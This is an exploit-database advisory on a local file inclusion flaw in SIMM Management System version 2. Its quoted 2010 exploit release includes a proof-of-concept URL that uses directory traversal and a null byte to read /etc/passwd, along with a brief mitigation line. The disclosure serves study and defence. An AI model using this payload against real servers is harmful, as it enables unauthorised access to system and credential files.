SIMM Management System (SMS) Local File Inclusion Vulnerability

vendor:

SIMM Management System (SMS)

by:

AntiSecurity

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: SIMM Management System (SMS)

Affected Version From: 2

Affected Version To: 2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

SIMM Management System (SMS) Local File Inclusion Vulnerability

SIMM Management System (SMS) version 2 is vulnerable to a Local File Inclusion vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request containing directory traversal sequences and a null byte (%00) to the vulnerable server. This will allow the attacker to read arbitrary files from the server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

===================================================================================================


  [o] SIMM Management System (SMS) Local File Inclusion Vulnerability

       Software : SIMM Management System (SMS) version 2
       Vendor   : http://anodyne-productions.com/index.php/sms/index
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?page=[LFI]


  [o] PoC

       http://localhost/index.php?page=../../../../../../../../../../../../../../../etc/passwd%00


===================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe wishnusakti inc0mp13te pizzyroot
       kaka11 matthews xrootboy martfella Genex H312Y }^-^{ k1tk4t str0ke
       ArRay bjork xmazinha veter f1 akatsuchi N4ck0
       all people in #evilc0de [at] irc.byroe.net


===================================================================================================


  [o] June 02 2010 - GMT +07:00 Jakarta, Indonesia